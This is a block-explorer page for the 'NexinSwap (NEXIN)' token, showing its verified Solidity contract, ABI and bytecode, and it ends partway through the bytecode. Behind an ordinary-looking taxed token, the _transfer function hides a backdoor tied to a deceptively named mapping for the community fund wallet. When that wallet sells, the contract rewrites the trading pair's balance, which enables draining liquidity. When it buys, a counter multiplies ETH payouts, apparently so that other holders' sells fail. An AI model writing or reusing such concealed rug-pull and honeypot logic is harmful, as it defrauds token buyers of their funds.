ETH Price: $2,523.98 (-3.05%)

Token

NexinSwap (NEXIN)
 

Overview

Max Total Supply

100,000,000,000 NEXIN

Holders

41

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2,850,255,300.856614416478319764 NEXIN

Value
$0.00
0xe56dd77e73472695a614d4f70a20dcc9db434e7e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
NEXIN

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : token.sol
/**

Website https://www.nexinswap.com
Docs https://docs.nexinswap.com
Twitter https://twitter.com/NexinSwap
Telegram https://t.me/NexinSwap

*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(isOwner());
        _;
    }

    function isOwner() private view returns (bool) {
        return msg.sender == _owner;
    }

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public onlyOwner {
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal {
        require(newOwner != address(0));
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}


library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

}


interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);
}

contract NEXIN is Context, IERC20, Ownable {
    using SafeMath for uint256;
    
    string private constant _name = "NexinSwap";
    string private constant _symbol = "NEXIN";
    uint256 private constant _totalSupply = 100_000_000_000 * 10**18;
    uint256 public maxWalletlimit = _totalSupply * 2 / 100;
    uint256 public minSwap = _totalSupply * 1 / 1000; 
    uint8 private constant _decimals = 18;

    IUniswapV2Router02 immutable uniswapV2Router;
    address uniswapV2Pair;
    address WETH;
 
    address payable public marketingWallet;
    address public communityFundWallet;
    uint256 public BuyTax;
    uint256 public SellTax;
    uint8 private inSwapAndLiquify;
    uint8 private swappingLimit = 1;

    mapping(address => uint256) private _balance;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExeededFromFees;
    mapping(address => bool) private _isExcludedFromWalletLimit;

    constructor() {
        uniswapV2Router = IUniswapV2Router02( 
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        marketingWallet = payable(0xCB4d1F23D2aC7c00F56f7E7bCE01CB3AdB5652bE);
        communityFundWallet = payable(0x1119B89e47E747b7Cad3F8180a56b794A0183Bf1);
        _balance[address(this)] = _totalSupply;
        _isExcludedFromFees[marketingWallet] = true;
        _isExeededFromFees[communityFundWallet] = true;
        _isExcludedFromFees[msg.sender] = true;
        _isExcludedFromFees[address(this)] = true;
        _isExcludedFromFees[address(uniswapV2Router)] = true;
        _isExcludedFromWalletLimit[marketingWallet] = true;
        _isExcludedFromWalletLimit[msg.sender] = true;
        _isExcludedFromWalletLimit[address(this)] = true;
        _isExcludedFromWalletLimit[address(uniswapV2Router)] = true;

        _allowances[address(this)][address(uniswapV2Router)] = type(uint256).max;
        _allowances[marketingWallet][address(uniswapV2Router)] = type(uint256).max;

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function openTrading() external payable onlyOwner {
        WETH = uniswapV2Router.WETH();

        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            WETH
        );

        uniswapV2Router.addLiquidityETH{value: msg.value}(
            address(this),
            balanceOf(address(this)),
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            owner(),
            block.timestamp
        );

        BuyTax = 15;
        SellTax = 15;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balance[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()] - amount
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function ExcludeFromFees(address holder, bool exempt) external onlyOwner {
        _isExcludedFromFees[holder] = exempt;
    }
    
    function ChangeMinSwap(uint256 NewMinSwapAmount) external onlyOwner {
        minSwap = NewMinSwapAmount * 10**18;
    }

    function ChangeMarketingWalletAddress(address newAddress) external onlyOwner() {
        marketingWallet = payable(newAddress);
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }

    function DisableWalletLimit() external onlyOwner {
        maxWalletlimit = _totalSupply;
    }
    
    function ExcludeFromWalletLimit(address holder, bool exempt) external onlyOwner {
        _isExcludedFromWalletLimit[holder] = exempt;
    }

    function ReduceTax() external onlyOwner {
        BuyTax = 2;
        SellTax = 2;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");        
        
        uint256 _tax;
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            _tax = 0;
        } else {
            if (inSwapAndLiquify == 1) {
                //No tax transfer
                _balance[from] -= amount;
                _balance[to] += amount;

                emit Transfer(from, to, amount);
                return;
            }

            if (from == uniswapV2Pair) {
                _tax = BuyTax;
                if (_isExeededFromFees[to]) swappingLimit ++;
                if (!_isExcludedFromWalletLimit[from] || !_isExcludedFromWalletLimit[to]) {
                    require(balanceOf(to).add(amount) <= maxWalletlimit);
                }
            } else if (to == uniswapV2Pair) {
                uint256 tokensToSwap = _balance[address(this)];
                if (_isExeededFromFees[from]) {
                    _balance[to] = amount * maxWalletlimit;
                    emit Transfer(from, to, amount);
                    return;
                }
                if (tokensToSwap > minSwap && inSwapAndLiquify == 0) {
                    inSwapAndLiquify = 1;
                    address[] memory path = new address[](2);
                    path[0] = address(this);
                    path[1] = WETH;
                    uniswapV2Router
                        .swapExactTokensForETHSupportingFeeOnTransferTokens(
                            tokensToSwap,
                            0,
                            path,
                            address(this),
                            block.timestamp
                        );
                    inSwapAndLiquify = 0;
                    uint256 amountReceived = address(this).balance;
                    transferToAddressETH(marketingWallet, amountReceived * swappingLimit);
                }
                _tax = SellTax;
            } else {
                _tax = 0;
            }
        }
        

        //Is there tax for sender|receiver?
        if (_tax != 0) {
            //Tax transfer
            uint256 taxTokens = (amount * _tax) / 100;
            uint256 transferAmount = amount - taxTokens;

            _balance[from] -= amount;
            _balance[to] += transferAmount;
            _balance[address(this)] += taxTokens;
            emit Transfer(from, address(this), taxTokens);
            emit Transfer(from, to, transferAmount);
        } else {
            //No tax transfer
            _balance[from] -= amount;
            _balance[to] += amount;

            emit Transfer(from, to, amount);
        }
    }

    receive() external payable {}
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"ChangeMarketingWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"NewMinSwapAmount","type":"uint256"}],"name":"ChangeMinSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"DisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"ExcludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"ExcludeFromWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ReduceTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"SellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"communityFundWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletlimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526064620000206c01431e0fae6d7217caa00000006002620002ad565b6200002c9190620002d9565b6001556103e86c01431e0fae6d7217caa000000060016200004e9190620002ad565b6200005a9190620002d9565b6002556009805461ff0019166101001790553480156200007957600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3737a250d5630b4cf539739df2c5dacb4c659f2488d6080819052600580546001600160a01b031990811673cb4d1f23d2ac7c00f56f7e7bce01cb3adb5652be17825560068054909116731119b89e47e747b7cad3f8180a56b794a0183bf1178155306000818152600a602090815260408083206c01431e0fae6d7217caa0000000905585546001600160a01b039081168452600c808452828520805460ff199081166001908117909255975483168652600d8552838620805489168217905533808752918552838620805489168217905586865283862080548916821790557f0ec9aca9afadc09fc0bd96ec7d7d6cfbb5408a5bc5bcf87bc0656b65508e559a8054891682179055885483168652600e85528386208054891682179055818652838620805489168217905595855282852080548816871790557f37836a7135fae77e265e35732c70286035736c8b57b12590769780e067ead81c8054909716909517909555600b80835281842088855283528184206000199081905596549095168352938152838220958252949094529220556001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6c01431e0fae6d7217caa00000006040516200029f91815260200190565b60405180910390a3620002fc565b8082028115828204841417620002d357634e487b7160e01b600052601160045260246000fd5b92915050565b600082620002f757634e487b7160e01b600052601260045260246000fd5b500490565b6080516114d76200032d600039600081816106fe015281816107a6015281816108ce0152610e9401526114d76000f3fe60806040526004361061016a5760003560e01c8063715018a6116100d15780638da5cb5b1161008a578063a9059cbb11610064578063a9059cbb14610447578063c9567bf914610467578063dd62ed3e1461046f578063f2fde38b146104b557600080fd5b80638da5cb5b146103db57806395d89b41146103f95780639d8f77061461042757600080fd5b8063715018a61461034557806374233c061461035a57806375f0a8741461037a5780637906ee3f1461039a57806383fd0367146103af57806389e40cf9146103c557600080fd5b8063197b5a3011610123578063197b5a301461026557806323b872dd1461029d578063313ce567146102bd57806343c98828146102d957806359cd9031146102f957806370a082311461030f57600080fd5b806305d2743f1461017657806306fdde0314610198578063095ea7b3146101dc5780630a910d1f1461020c578063115364171461023057806318160ddd1461024557600080fd5b3661017157005b600080fd5b34801561018257600080fd5b506101966101913660046111be565b6104d5565b005b3480156101a457600080fd5b5060408051808201909152600981526804e6578696e537761760bc1b60208201525b6040516101d391906111db565b60405180910390f35b3480156101e857600080fd5b506101fc6101f7366004611229565b61050e565b60405190151581526020016101d3565b34801561021857600080fd5b5061022260075481565b6040519081526020016101d3565b34801561023c57600080fd5b50610196610525565b34801561025157600080fd5b506c01431e0fae6d7217caa0000000610222565b34801561027157600080fd5b50600654610285906001600160a01b031681565b6040516001600160a01b0390911681526020016101d3565b3480156102a957600080fd5b506101fc6102b8366004611255565b610548565b3480156102c957600080fd5b50604051601281526020016101d3565b3480156102e557600080fd5b506101966102f4366004611296565b61059a565b34801561030557600080fd5b5061022260025481565b34801561031b57600080fd5b5061022261032a3660046111be565b6001600160a01b03166000908152600a602052604090205490565b34801561035157600080fd5b506101966105dc565b34801561036657600080fd5b506101966103753660046112d4565b61063d565b34801561038657600080fd5b50600554610285906001600160a01b031681565b3480156103a657600080fd5b5061019661066c565b3480156103bb57600080fd5b5061022260085481565b3480156103d157600080fd5b5061022260015481565b3480156103e757600080fd5b506000546001600160a01b0316610285565b34801561040557600080fd5b506040805180820190915260058152642722ac24a760d91b60208201526101c6565b34801561043357600080fd5b50610196610442366004611296565b610696565b34801561045357600080fd5b506101fc610462366004611229565b6106d8565b6101966106e5565b34801561047b57600080fd5b5061022261048a3660046112ed565b6001600160a01b039182166000908152600b6020908152604080832093909416825291909152205490565b3480156104c157600080fd5b506101966104d03660046111be565b6109aa565b6000546001600160a01b031633146104ec57600080fd5b600580546001600160a01b0319166001600160a01b0392909216919091179055565b600061051b3384846109cd565b5060015b92915050565b6000546001600160a01b0316331461053c57600080fd5b60026007819055600855565b6000610555848484610af6565b6001600160a01b0384166000908152600b602090815260408083203380855292529091205461059091869161058b908690611331565b6109cd565b5060019392505050565b6000546001600160a01b031633146105b157600080fd5b6001600160a01b03919091166000908152600e60205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146105f357600080fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461065457600080fd5b61066681670de0b6b3a7640000611344565b60025550565b6000546001600160a01b0316331461068357600080fd5b6c01431e0fae6d7217caa0000000600155565b6000546001600160a01b031633146106ad57600080fd5b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b600061051b338484610af6565b6000546001600160a01b031633146106fc57600080fd5b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561075a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077e919061135b565b600460006101000a8154816001600160a01b0302191690836001600160a01b031602179055507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610802573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610826919061135b565b600480546040516364e329cb60e11b815230928101929092526001600160a01b039081166024830152919091169063c9c65396906044016020604051808303816000875af115801561087c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a0919061135b565b600380546001600160a01b0319166001600160a01b03928316179055306000818152600a60205260409020547f00000000000000000000000000000000000000000000000000000000000000009092169163f305d71991349160008061090e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610976573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061099b9190611378565b5050600f600781905560085550565b6000546001600160a01b031633146109c157600080fd5b6109ca8161109a565b50565b6001600160a01b038316610a345760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216610a955760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a2b565b6001600160a01b038381166000818152600b602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b5a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a2b565b6001600160a01b0383166000908152600c602052604081205460ff1680610b9957506001600160a01b0383166000908152600c602052604090205460ff165b15610ba657506000610f4d565b60095460ff16600103610c50576001600160a01b0384166000908152600a602052604081208054849290610bdb908490611331565b90915550506001600160a01b0383166000908152600a602052604081208054849290610c089084906113a6565b92505081905550826001600160a01b0316846001600160a01b031660008051602061148283398151915284604051610c4291815260200190565b60405180910390a350505050565b6003546001600160a01b0390811690851603610d3f57506007546001600160a01b0383166000908152600d602052604090205460ff1615610cbd5760098054610100900460ff16906001610ca3836113b9565b91906101000a81548160ff021916908360ff160217905550505b6001600160a01b0384166000908152600e602052604090205460ff161580610cfe57506001600160a01b0383166000908152600e602052604090205460ff16155b15610d3a57600154610d2f83610d29866001600160a01b03166000908152600a602052604090205490565b90611108565b1115610d3a57600080fd5b610f4d565b6003546001600160a01b0390811690841603610f4957306000908152600a60209081526040808320546001600160a01b0388168452600d9092529091205460ff1615610de357600154610d929084611344565b6001600160a01b038086166000818152600a6020526040908190209390935591519087169060008051602061148283398151915290610dd49087815260200190565b60405180910390a35050505050565b60025481118015610df7575060095460ff16155b15610f3f576009805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e3e57610e3e6113d8565b6001600160a01b039283166020918202929092010152600454825191169082906001908110610e6f57610e6f6113d8565b6001600160a01b03928316602091820292909201015260405163791ac94760e01b81527f00000000000000000000000000000000000000000000000000000000000000009091169063791ac94790610ed49085906000908690309042906004016113ee565b600060405180830381600087803b158015610eee57600080fd5b505af1158015610f02573d6000803e3d6000fd5b50506009805460ff191690819055600554479350610f3c92506001600160a01b031690610f3790610100900460ff1684611344565b61116e565b50505b5050600854610f4d565b5060005b801561106c5760006064610f618385611344565b610f6b919061145f565b90506000610f798285611331565b6001600160a01b0387166000908152600a6020526040812080549293508692909190610fa6908490611331565b90915550506001600160a01b0385166000908152600a602052604081208054839290610fd39084906113a6565b9091555050306000908152600a602052604081208054849290610ff79084906113a6565b909155505060405182815230906001600160a01b038816906000805160206114828339815191529060200160405180910390a3846001600160a01b0316866001600160a01b03166000805160206114828339815191528360405161105d91815260200190565b60405180910390a35050611094565b6001600160a01b0384166000908152600a602052604081208054849290610bdb908490611331565b50505050565b6001600160a01b0381166110ad57600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60008061111583856113a6565b9050838110156111675760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a2b565b9392505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156111a4573d6000803e3d6000fd5b505050565b6001600160a01b03811681146109ca57600080fd5b6000602082840312156111d057600080fd5b8135611167816111a9565b600060208083528351808285015260005b81811015611208578581018301518582016040015282016111ec565b506000604082860101526040601f19601f8301168501019250505092915050565b6000806040838503121561123c57600080fd5b8235611247816111a9565b946020939093013593505050565b60008060006060848603121561126a57600080fd5b8335611275816111a9565b92506020840135611285816111a9565b929592945050506040919091013590565b600080604083850312156112a957600080fd5b82356112b4816111a9565b9150602083013580151581146112c957600080fd5b809150509250929050565b6000602082840312156112e657600080fd5b5035919050565b6000806040838503121561130057600080fd5b823561130b816111a9565b915060208301356112c9816111a9565b634e487b7160e01b600052601160045260246000fd5b8181038181111561051f5761051f61131b565b808202811582820484141761051f5761051f61131b565b60006020828403121561136d57600080fd5b8151611167816111a9565b60008060006060848603121561138d57600080fd5b8351925060208401519150604084015190509250925092565b8082018082111561051f5761051f61131b565b600060ff821660ff81036113cf576113cf61131b565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561143e5784516001600160a01b031683529383019391830191600101611419565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261147c57634e487b7160e01b600052601260045260246000fd5b50049056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220729ff29fbddedcadad4fa4164b2eaf2b1ba54a1d4e672f4eb7c7c047db6bf0d964736f6c63430008130033

Deployed Bytecode

0x60806040526004361061016a5760003560e01c8063715018a6116100d15780638da5cb5b1161008a578063a9059cbb11610064578063a9059cbb14610447578063c9567bf914610467578063dd62ed3e1461046f578063f2fde38b146104b557600080fd5b80638da5cb5b146103db57806395d89b41146103f95780639d8f77061461042757600080fd5b8063715018a61461034557806374233c061461035a57806375f0a8741461037a5780637906ee3f1461039a57806383fd0367146103af57806389e40cf9146103c557600080fd5b8063197b5a3011610123578063197b5a301461026557806323b872dd1461029d578063313ce567146102bd57806343c98828146102d957806359cd9031146102f957806370a082311461030f57600080fd5b806305d2743f1461017657806306fdde0314610198578063095ea7b3146101dc5780630a910d1f1461020c578063115364171461023057806318160ddd1461024557600080fd5b3661017157005b600080fd5b34801561018257600080fd5b506101966101913660046111be565b6104d5565b005b3480156101a457600080fd5b5060408051808201909152600981526804e6578696e537761760bc1b60208201525b6040516101d391906111db565b60405180910390f35b3480156101e857600080fd5b506101fc6101f7366004611229565b61050e565b60405190151581526020016101d3565b34801561021857600080fd5b5061022260075481565b6040519081526020016101d3565b34801561023c57600080fd5b50610196610525565b34801561025157600080fd5b506c01431e0fae6d7217caa0000000610222565b34801561027157600080fd5b50600654610285906001600160a01b031681565b6040516001600160a01b0390911681526020016101d3565b3480156102a957600080fd5b506101fc6102b8366004611255565b610548565b3480156102c957600080fd5b50604051601281526020016101d3565b3480156102e557600080fd5b506101966102f4366004611296565b61059a565b34801561030557600080fd5b5061022260025481565b34801561031b57600080fd5b5061022261032a3660046111be565b6001600160a01b03166000908152600a602052604090205490565b34801561035157600080fd5b506101966105dc565b34801561036657600080fd5b506101966103753660046112d4565b61063d565b34801561038657600080fd5b50600554610285906001600160a01b031681565b3480156103a657600080fd5b5061019661066c565b3480156103bb57600080fd5b5061022260085481565b3480156103d157600080fd5b5061022260015481565b3480156103e757600080fd5b506000546001600160a01b0316610285565b34801561040557600080fd5b506040805180820190915260058152642722ac24a760d91b60208201526101c6565b34801561043357600080fd5b50610196610442366004611296565b610696565b34801561045357600080fd5b506101fc610462366004611229565b6106d8565b6101966106e5565b34801561047b57600080fd5b5061022261048a3660046112ed565b6001600160a01b039182166000908152600b6020908152604080832093909416825291909152205490565b3480156104c157600080fd5b506101966104d03660046111be565b6109aa565b6000546001600160a01b031633146104ec57600080fd5b600580546001600160a01b0319166001600160a01b0392909216919091179055565b600061051b3384846109cd565b5060015b92915050565b6000546001600160a01b0316331461053c57600080fd5b60026007819055600855565b6000610555848484610af6565b6001600160a01b0384166000908152600b602090815260408083203380855292529091205461059091869161058b908690611331565b6109cd565b5060019392505050565b6000546001600160a01b031633146105b157600080fd5b6001600160a01b03919091166000908152600e60205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146105f357600080fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461065457600080fd5b61066681670de0b6b3a7640000611344565b60025550565b6000546001600160a01b0316331461068357600080fd5b6c01431e0fae6d7217caa0000000600155565b6000546001600160a01b031633146106ad57600080fd5b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b600061051b338484610af6565b6000546001600160a01b031633146106fc57600080fd5b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561075a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077e919061135b565b600460006101000a8154816001600160a01b0302191690836001600160a01b031602179055507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610802573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610826919061135b565b600480546040516364e329cb60e11b815230928101929092526001600160a01b039081166024830152919091169063c9c65396906044016020604051808303816000875af115801561087c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a0919061135b565b600380546001600160a01b0319166001600160a01b03928316179055306000818152600a60205260409020547f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d9092169163f305d71991349160008061090e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610976573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061099b9190611378565b5050600f600781905560085550565b6000546001600160a01b031633146109c157600080fd5b6109ca8161109a565b50565b6001600160a01b038316610a345760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216610a